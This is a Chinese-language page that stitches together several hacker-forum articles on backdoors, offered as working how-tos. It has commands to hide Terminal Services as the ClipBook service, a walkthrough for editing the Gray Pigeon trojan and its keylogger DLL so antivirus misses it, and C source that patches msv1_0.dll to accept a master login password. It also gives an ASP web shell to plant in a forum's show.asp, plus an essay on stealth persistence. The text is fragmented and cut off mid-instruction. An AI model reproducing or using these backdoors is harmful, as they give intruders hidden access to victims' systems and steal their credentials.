以下是小编为大家准备的修改后门经验谈(共含6篇),供大家参考借鉴,希望可以帮助到有需要的朋友。同时,但愿您也能像本文投稿人“孟只离孟商初九”一样,积极向本站投稿分享好文章。
作者:dkollf 来自:bbs.pysky.net
不知道大家装自己的后门的时候是怎么修改服务的,我记得曾经有人说过,起服务名是一件需要艺术+技术的事,一个很垃圾的后门会因为你起的服务名而长久存活,而一个很好的后门会因为你的垃圾服务名而立马挂掉,
废话不说了,就以我自己安装终端服务为例来讲讲改服务的好处吧。
这里我们要用到几个工具,先介绍一下:
3389.exe 这个不说了吧,地球人都知道
tport.exe 这个也应该知道,但是说一下,这个是改3389端口的
serv.exe 服务管理程序,可以安装、删除、修改服务
dtreg.exe CMD下的一个注册表工具,和regedit差不多。
开始,假设我们已经控制了机器,是2kserver的,终端服务还没开,让我们来开吧
3389.exe 1 #安装终端,不重起
tport.exe 9918 #修改端口
net stop ClipSrv #-----------------|删除次要服务
serv.exe remove ClipSrv /y #-----------|为修改服务做准备
copy termsrv.exe clipsvr.exe #将终端的文件拷贝成和要取代的服务比较接近的名字
serv.exe install ClipSrv /b:“%windir%\system32\clipsvr.exe” /n:“ClipBook” /i:yes /u:LocalSystem /s:auto #安装成刚才删除的服务
dtreg.exe -Quiet -Set REG_SZ \HKLM\SYSTEM\CurrentControlSet\Services\ClipBook\Description=支持“剪贴簿查看器”,以便可以从远程剪贴簿查阅剪贴页面,
#修改注册表
serv modify termservice /s:disabled #修改原先终端服务的状态
现在重起一次,你会发现终端服务已经开启,端口为9918,打开服务管理器你会发现终端服务已经禁用了,进程里也没有termsrv.exe这个进程,相对来说这个已经很安全了,我一直也是用这中方式开终端,不知道其他人是不是这样干的,大家可以交流一下,呵呵.
修改特征码打造免杀后门之灰鸽子篇
――DLL释放型后门的特征码修改
各位兄弟年过得还好吧?!上期给大家提供的免杀后门好用吗?这一期讲什么呢?嘿嘿,这次来个难度大一点儿的:灰鸽子的特征码修改,什么是灰鸽子就不用我说了吧?先打个预防针:这次修改过程可不像WinShell那么简单!不过学会修改鸽子话,大多数流行的DLL释放式的后门就全是小CASE了。废话不说,直接进入正题。
修改过程概述
灰鸽子是一款非常不错的远程控制软件,使用者也很多,因此是各大杀软的必杀对象。较新的鸽子主要功能代码用DLL实现,这增加了程序的隐蔽性,但同时也加大了修改特征码的难度。对于全部功能由一个EXE文件完成的程序,比如鸽子的老版本和WinShell之类,只需要修改EXE本身既可;而对于运行时会释放DLL文件的版本,不但EXE文件本身有特征码(通常在代码段中),而且DLL中也含有大量特征码。因此,修改的大致过程为:导出DLL,修改DLL,DLL导入EXE,修改EXE。下面以灰鸽子1.05版未加壳服务端,卡巴斯基的特征码为例,详细地讲解修改过程。喝口水,准备过草地了。
DLL文件的导出
拿到服务端文件,老规矩,先检测,卡巴报警发现Backdoor.Win32.Feutel.a。下面导出服务端包含的DLL,灰鸽子官方教程里用的是ResHacker,而我更偏向于使用PE Explorer。打开服务端文件,点击工具栏里的“Resource Viewer/Editor”,会显示资源的树状结构,其中RCDataMAINDLL就是我们需要导出的文件,如图1所示。
可以看到PE Explorer已经自动判断出该资源是一个PE文件。在MAINDLL的图标上单击右键,选择“save resources as”,就可以将MAINDLL资源导出。下面做什么?开始修改吗?别急,MAINDLL中还有两个DLL需要导出。再打开刚导出的资源,可以得到另外两个DLL,名字倒是很直接,一个叫HOOK,一个叫GETKEY,如图2所示。
分别导出这两个DLL,用卡巴斯基检测一下,报警发现了Backdoor.Win32.Feutel.a和Trojan-PSW.Win32.KeyLogger.c。到这里,基本思路就应该确定了,先修改HOOK和GETKEY两个DLL,然后将其导入MAINDLL,再修改MAINDLL的代码段中含有的特征码,完毕后将其导入原服务端EXE文件,最后修改EXE文件的代码段中含有的特征码!可不要打退堂鼓,让我们一步步来。
修改HOOK
这是我们第一次修改DLL,但DLL文件的格式和普通的EXE文件其实没有差别,都是标准的PE文件,如果你看了前两期关于特征码定位器使用的文章的话,操作上应该没有什么问题。我们的思路仍旧是:手动定位确定特征码大体范围,自动定位确定精确的位置。
打开CCL,设置成手动,生成300个文件,然后打开HOOK,不选择任何段,对整个文件进行替换,等程序提示全部文件生成完毕后,用卡巴斯基对目标文件夹检测,并将报警的文件删除,最终结果如下:
-------------定位结果------------
序号 起始偏移 大小 结束偏移
0001 00000000 000002B8 000002B8
0002 000140D0 000002B8 00014388
0003 0001479C 0000015C 000148F8
下面将CCL设置为自动检测,间隔时间为7秒,在输入检测段时将0002和0003的数据添加到待检测栏里,如图3所示。
如果你细心的话会发现这两个偏移其实都在CODE段中,这正说明大多数特征码的位置都存在于代码段里。单击确定,进行自动检测,过程就不说了,详细的操作动画过去的黑防都已提供,最终得到如下定位结果:
-------------定位结果------------
序号 起始偏移 大小 结束偏移
0001 00014193 00000015 000141A8
0002 000141A9 0000002A 000141D3
0003 000141D5 0000002A 000141FF
0004 00014200 0000002A 0001422A
0005 0001422C 0000002A 00014256
0006 00014257 0000002A 00014281
0007 00014283 00000015 00014298
0008 0001479C 00000015 000147B1
还真不少,共有8处。修改哪里呢?我的经验是:尽量修改代码,避免修改字符串和数据,因为修改后者必须将每一处调用它的指令都做改动,且在不确定具体含义的情况下很容易出错,不推荐。
先看第一处,用IDA对HOOK进行反汇编,然后找到00014193处,也就是内存偏移00414D93(这里可以用我写的小工具:偏移量转换器,输入文件偏移可以自动计算出内存偏移),这里的代码如下:
CODE:00414D91 dd offset off_413FB0
CODE:00414D95 dd 64616D0Bh, 65646F43h, 6B6F6F48h
CODE:00414DA1 align 4
很显然,这是一些数据,我们甚至不知道它的意义,要修改真是无从下手。于是看第2处,代码如下:
……
CODE:00414DAD xor edx, edx
CODE:00414DAF mov [ebp+var_18], edx
CODE:00414DB2 mov [ebp+var_8], edx
CODE:00414DB5 mov ebx, eax
CODE:00414DB7 xor eax, eax
CODE:00414DB9 push ebp
CODE:00414DBA push offset loc_414F97
CODE:00414DBF push dword ptr fs:[eax]
CODE:00414DC2 mov fs:[eax], esp
CODE:00414DC5 xor eax, eax
CODE:00414DC7 push ebp
……
看来第二处全部是汇编指令,就修改它了,
用什么方法呢?前两期我介绍过“指令顺序变换”和“万能跳转”两种方法,当然,能用第一种时尽量用,这里我们也采用变换指令顺序的方法。注意加黑的指令,我们就改变这两句的顺序。修改文件我还是习惯用OllyDbg,因为可以直接进行指令级的操作,你也可以用二进制编辑软件。
用OD打开HOOK,OD会提示“打开的是DLL,是否用Loaddll进行加载”,点确定,然后来到003E4DA7处。这里又有问题了,为什么刚才用IDA打开时,位置在00414DA7而现在却变成003E4DA7呢?这是因为DLL加载时,加载基址是可变的。给大家讲一个在OD中判断加载基址的方法。单击OD工具栏中的M,会显示出当前进程内存中的所有模块,如图4所示。
根据名称找到加载我们的DLL的位置,图中可以看到00400000已经被LOADDLL给占据了,因此HOOK只能被发配到003D0000了,相应的,在IDA中的地址需要减去一个差值(00400000-003D0000)才能得到OllyDbg中的地址。
将黑体的指令进行顺序调换,修改如下:
003E4DB7 55 push ebp
003E4DB8 33C0 xor eax,eax
然后保存修改,再用卡巴斯基来检测一下修改后的HOOK文件,果然,HOOK已经免杀了,是不是很神奇,仅仅修改了三个字节就搞定了!
修改GETKEY
下面该第二个DLL了,过程和修改HOOK的一样,就不详述了,简述一下过程:手动定位的结果如下(生成300个文件):
-------------定位结果------------
序号 起始偏移 大小 结束偏移
0001 00000000 000002BC 000002BC
0002 000095B5 0000015E 00009713
0003 00009DE9 000000AF 00009E98
然后对95B5和9DE9两个段进行自动定位,最终结果如下:
-------------定位结果------------
序号 起始偏移 大小 结束偏移
0001 00009621 00000015 00009636
0002 00009637 0000002A 00009661
0003 00009664 0000002A 0000968E
0004 0000968F 0000002A 000096B9
0005 000096BB 0000002A 000096E5
0006 000096E6 0000002A 00009710
0007 00009E40 0000002A 00009E6A
共有7处,还挺多的。原理一样,尽量修改汇编指令,避免字符串和数据。这一次运气不错,第0001段就是汇编指令:
003DA221 . 68 34A63D00 push RC_Data_.003DA634 ; ASCII “ <”
003DA226 . 8D95 ECFEFFFF lea edx,dword pt
[1] [2] 下一页
By:clyfish
From:幻影邮件列表
其实这些东西我很早就做出来用了,而且效果还不错,目前没有一个管理员发现,
以下程序只在winxpsp2中文版上测试
#include
#include
#include “windows.h”
#include “wincrypt.h”
wchar_t passwd[1024];
char path[1024], hash[16];
const int os1 = 0x8DB0, os2 = 0x1C3A7, spasswd = 0x1C397;
const char chunk1[] = {
0xE8, 0xF2, 0x35, 0x01, 0x00, 0x90
};
const char chunk2[] = {
0x55, 0x8B, 0xEC, 0x6A, 0x10, 0xFF, 0x75, 0x0C,
0x68, 0x97, 0xCF, 0xC5, 0x77, 0xFF, 0x15, 0xCC,
0x10, 0xC4, 0x77, 0xC9, 0x83, 0xF8, 0x10, 0x75,
0x03, 0xC2, 0x00, 0x00, 0xFF, 0x25, 0xCC, 0x10,
0xC4, 0x77
};
void err(char *msg) {
printf(“error: %s\n”, msg);
exit(1);
}
int main(int argc, char *argv[]) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
unsigned len, sint = sizeof(int);
FILE *fout;
if (argc != 2) {
printf(“msv1_0.dll password backdoor generator by cly\n”
“Usage:\n%s password\nOnly for winxp sp2\n”, argv[0]);
exit(1);
}
len = strlen(argv[1]);
if (len >512)
err(“the password is too long”);
len = MultiByteToWideChar(CP_ACP, 0, argv[1], len, passwd, 1024);
if(!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, 0))
if (!CryptAcquireContext(&hProv, NULL, MS_DEF_PROV,
PROV_RSA_FULL,
CRYPT_NEWKEYSET))
err(“CryptAcquireContext”);
if (!CryptCreateHash(hProv, CALG_MD4, 0, 0, &hHash))
err(“CryptCreateHash”);
if (!CryptHashData(hHash, passwd, len * sizeof(wchar_t), 0))
err(“CryptHashData”);
CryptGetHashParam(hHash, HP_HASHSIZE, &len, &sint, 0);
if (len != 16)
err(“CryptGetHashParam”);
CryptGetHashParam(hHash, HP_HASHVAL, hash, &len, 0);
if (hHash)
CryptDestroyHash(hHash);
if (hProv)
CryptReleaseContext(hProv, 0);
if (strlen(getenv(“windir”)) >512)
err(“Are you kidding?”);
sprintf(path, “%s\\system32\\msv1_0.dll”, getenv(“windir”));
if (!CopyFileA(path, “msv1_0.dll.cly”, 0))
err(“CopyFileA”);
fout = fopen(“msv1_0.dll.cly”, “rb+”);
if (fout == NULL)
err(“fopen”);
fseek(fout, os1, SEEK_SET);
fwrite(chunk1, sizeof(chunk1), 1, fout);
fseek(fout, os2, SEEK_SET);
fwrite(chunk2, sizeof(chunk2), 1, fout);
fseek(fout, ospasswd, SEEK_SET);
fwrite(hash, sizeof(hash), 1, fout);
fclose(fout);
return 0;
}
运行这个程序把得到的msv1_0.dll.cly复制到c:\windows\system32\msv1_0.dll(自己想办法绕过WFP),所
有的用户就可以用你设置的密码来登陆了,远程桌面也是可以的,
这里只是提供一种思路,其他的版本比如win2k3应该而是可以这样搞的。
其实我最开始是看到网上一片文章,不过他是空口令可以登陆,而我这是自己设置的口令可以登陆。
Linux下就更简单了,直接编译一个自己的pam_unix.so上去就可以了。
这个pam_unix.so可以记录正确的密码,也可以做和上面一样的通用密码后门。
我是这样搞的,先判断密码对错,如果对了则记录并放行,否则判断是否为我设置的通用密码,如果是就放行,其他的验证失败。
这样我local root成功后,放这样一个后门,管理员还真是难查出来。
写出来只为博高手一笑。
作者:yyt_hac
主页:www.yythac.com
Email:webmaster@yythac.com“>webmaster@yythac.com
随着电脑技术的发展和网络的普及, 技术已经为越来越多的人所了解,好多网站也推出了
培训班、VIP会员等一系列服务,这些服务必然会培养出好多 技术爱好者,而后门作为 必须的工具
必然会受到越来越多的关注,目前新后门增长的速度也很快,我接触后门很久了,也写过一些后门,现在想
谈谈对后门的一些看法,如果有错误的地方,欢迎指正。
我想谈的第一个问题就是对一些概念的理解,那就是“远程控制软件”,“木马”,“后门”。
一般“远程控制软件”是指用户便于远程管理而有意在自己机器上安装的软件,如pcanywhere,它
的特征是用户自己有意安装的软件,它的使用者是用户自己。不过现在有人也把“远程控制软件”的意义扩
充了,认为有远程控制功能的软件就叫远程控制软件,比如有些木马、后门有远程控制功能,也把它们叫远
程控制软件。
“木马”全名叫“特洛伊木马”,它的使用者是 ,更确切的说是“骇客”,它主要是“骇客”
通过欺骗用户的方法(包含捆绑,利用网页等)让用户不知不觉的安装到他们系统中的一类软件,主要功能
有远程控制,盗密码等。木马的名字就指出了它的特征,那就是具有欺骗性,软件的分类不应该看它的功能
,而是应该看它的特征。现在有些木马的开发者不喜欢把自己开发的木马叫作“木马”,而是叫“远程控制
软件”。原因很简单,“木马”是贬义的,“远程控制软件”就是褒义的了,这样做也可以理解,因为毕竟
“木马”也包含在扩充了意义的“远程控制软件”中了。可是还有人说它开发的木马是远程控制软件而不是
木马,这就不能理解了。是不是木马不是由你说的,而是要看它的特征。“木马”和常规远程控制软件的区
别就在于它能够通过欺骗的方式让用户不知不觉的安装到他的计算机中,它不是用户自己想安装的,而常规
远程控制软件是用户自己有意安装的。你能说“冰河”不是木马吗?不能,因为它有木马的特征。木马的特
征也是好多人讨厌它的原因,因为被人欺骗了总是很痛苦的,特别是被人欺骗了感情;好多木马都有盗密码
功能,这是让人讨厌它的另一个原因,因此水平比较高的 都不屑于用木马。
“后门”是 在入侵了计算机以后为了以后能方便的进入该计算机而安装的一类软件,它的使用
者是水平比较高的 ,他们入侵的机器都是一些性能比较好的服务器,而且这些计算机的管理员水平都比
较高,为了不让管理员发现,这就要求“后门”必须很隐蔽,因此后门的特征就是它的隐蔽性。木马的隐蔽
性也很重要,可是由于被安装了木马的机器的使用者一般水平都不高,因此相对来说就没有后门这么重要了。
后门和木马的区别就是它更注重隐蔽性但是没有欺骗性,因此它的危害性没有木马大,名声介于“远程控制
软件”和“木马”之间。
通过上面的分析,我们就很容易区分这三类软件了。后门作为一种 工具,它的主要用途还是在
非法方面,把它说成是一种恶意程序也可以接受,可是却不能把它说成是病毒、木马,因为它们出来本质特
征是不同的。当然,任何事物都有两面性,有好的作用就有坏的作用,工具本身的好坏是一个方面,但是关
键是要看使用工具的人,刀可以用来杀人也可以用来救人,不能因为刀可以杀人就把刀说得一无是处,关键
是看好处多些还是坏处多些,
后门也一样,不可否认,它的坏处要多些,可是它的破坏力不大,而且它也有
好的一方面,比如后门让大家增加网络安全意识,提高国家整体网络安全水平,可以增加杀毒软件的卖点,
也可以用它来控制国外的机器为祖国做贡献,是不是很夸张?
下面我们谈谈什么样的后门才是好后门?也就是后门最重要的是什么?
现在好多后门技术都公开了,也都有源代码,因此写一个后门并不困难,只要学会了编程,两个星
期就可以写出一个还可以的后门,这也是新后门不断增加的原因,可是要写一个真正好后门并不是一件容易
的事情。那什么样的后门才是真正好的后门呢?其实从上面可以知道后门的特征就是它的隐蔽性,因此隐蔽
性好的后门才是真正的好后门。我发现好多人在说这个后门的功能有多么多么的强大,那个后门有多么多么
难卸载,讨论这些有意义吗?只有在隐蔽性很好的情况下再来考虑它的功能和易用性,否则被发现了,你的
后门功能再多,再容易使用,也一点作用都没有。如果你只想找功能强大,容易使用的后门,我劝你还是使
用商业化的远程控制软件好了,如把pcanywhere改成能在命令行下可以安装的版本就可以了,它的功能够强
大了吧,使用也够方便了吧,根本用不到后门。难卸载性就更没意义了,如果我发现了我的机器被装了后门
,你再难卸载我重装系统还不行吗?不可能你发现有根刺在你肉里而不把它拔出来的。如果你发现你的系统
被装了后门却因为难卸载而能忍受它在你的系统中,那我只能说 ‘I 服了 YOU’。
那么后门的隐蔽性主要体现在哪些方面呢?我觉得有下面三个方面:
启动方式、存在方式和连接方式。
启动方式是指当操作系统启动时怎样启动后门,目前决大多数后门都是采用加注册表启动项或者加
系统服务的方式,这些方式都是很容易发现的,而感染系统文件的启动方式是比较隐蔽的。
存在方式是指当后门成功启动后,它在操作系统中的存在形式,目前主要有三种方式:进程、隐藏
进程和远程线程,进程和隐藏进程现在都很容易发现了,远程线程是一种比较隐蔽的方式。
连接方式是指该后门的用户怎样通过客户端和安装了该后门的机器建立连接,从而控制该机器。开
tcp端口的方式太明显,fport就可以发现,udp端口也一样,使用icmp等数据包实现无连接传输不是很稳定,
目前端口复用技术和反向连接技术都是比较好的技术,各有所长,也可以两种技术相结合。
如果一个后门能够把上面三个方面都做得很好,那才是一个真正的好后门,否则只能算是一个入门
级后门。
那为什么要写后门呢?
首先,写一个好的后门是一件很有挑战性的事情,毕竟它涉及到很多高级的编程技术,编写后门能
够增加你对操作系统底层的了解,大幅度的提高编程水平。从事一些工作的人水平到了一定的阶段就想有所
突破,做一些有挑战性的事情,比如登山运动员想登上珠穆朗玛峰,游戏运动员想游过太平洋, 程序员
嘛就是想写一个好后门了。
其次,写后门可以提高你在 界的知名度。
再次,写收费后门还可以带来经济效益。
最后,后门虽然有很多坏处,但是毕竟破坏力不大,它也有些好的用途。
写这篇文章是因为在聊天的过程中经常有人和我讨论这些问题,也看到了好多人对这些问题的看法,
因此我也把我的一些观点写出来,以后有人和我讨论这些问题我就把这篇文章给他看就可以了。
这篇文章有可能会冒犯一些人,如果你觉得我冒犯了你,那有可能是你水平比较低,因为我尊重的
是水平高的 ,而不是骇客。如果你自认为水平很高却还是觉得我冒犯了你,那欢迎批评指正。
作者:随矜而去 www.xxql.com/
今天给大家说一下 在动网BBS下一个做后门的新思路
大家入侵完一个动网BBS后,怎么做一个后门,这个是我攻击一个黄色网站时候想到的,但不知道是不是有人已经比我先想到,我就在这里说了!
好了,开始吧,我们在他论坛下找到show.asp,然后编辑!
在最下面插入
<%dim noon%>
<%noon=request(”noon“)%>
<%if noon=”xxql.com“ then%>
<%dim objFSO%>
<%dim fdata%>
<%dim objCountFile%>
<%on error resume next%>
<%Set bjFSO = Server.CreateObject(”Scripting.FileSystemObject“)%>
<%if Trim(request(”syfdpath“))”“ then%>
<%fdata = request(”cyfddata“)%>
<%Set bjCountFile=objFSO.CreateTextFile(request(”syfdpath“),True)%>
<%objCountFile.Write fdata%>
<%if err =0 then%>
<%response.write ”save Success!“%>
<%else%>
<%response.write ”Save UnSuccess!“%>
<%end if%>
<%err.clear%>
<%end if%>
<%objCountFile.Close%>
<%Set bjCountFile=Nothing%>
<%Set bjFSO = Nothing%>
<%=server.mappath(Request.ServerVariables(”SCRIPT_NAME“))%>
<%end if%>
我只是把人家的代码拆分了一下用用,嘿嘿,别建议哈
然后大家看一下:www.XXX.com/bbs/show.asp?noon=xxql.com
拉到最下面,看到绝对路径了没有?
在人家论坛的后门已经算做好了,什么意思呢,很简单,这是一个服务端的代码,然后您在其他空间或者本地支持ASP的地方做一个客户端,看代码:
<%Response.write ”
<%Response.Write ”“%>
<%Response.Write ”“%>
<%Response.write ”“%>
<%Response.write ”输入马的内容:“%>
<%Response.write ”“%>
<%Response.write ”“%>
<%Response.write ”“%>
这里我说明一下,在服务端的最后一段代码是显示绝对路径的
然后在客户端的 action=”“ 里就填上你服务端所在的文件路径
下面一个value=”" 改成你存放在马所在服务器上的绝对路径
这样你随便把客户端放在哪里都可以对服务端上传其他的木马
就这样,很简单!假如大家觉得麻烦也可以用海洋里自带的后门工具
从早期的计算机入侵者开始,他们就努力发展能使自己重返被入侵系统的技术或后门,
入侵后门
。大多数入侵者的后门实现以下的目的:即使管理员改变密码,仍然能再次侵入,并且使再次侵入被发现的可能性减至最低,
大多数后门是设法躲过日志,即使入侵者正在使用系统也无法
★ 作文修改
★ 会计论文修改
★ 求职信修改
★ 年后跳槽经验谈
★ 面试技巧经验谈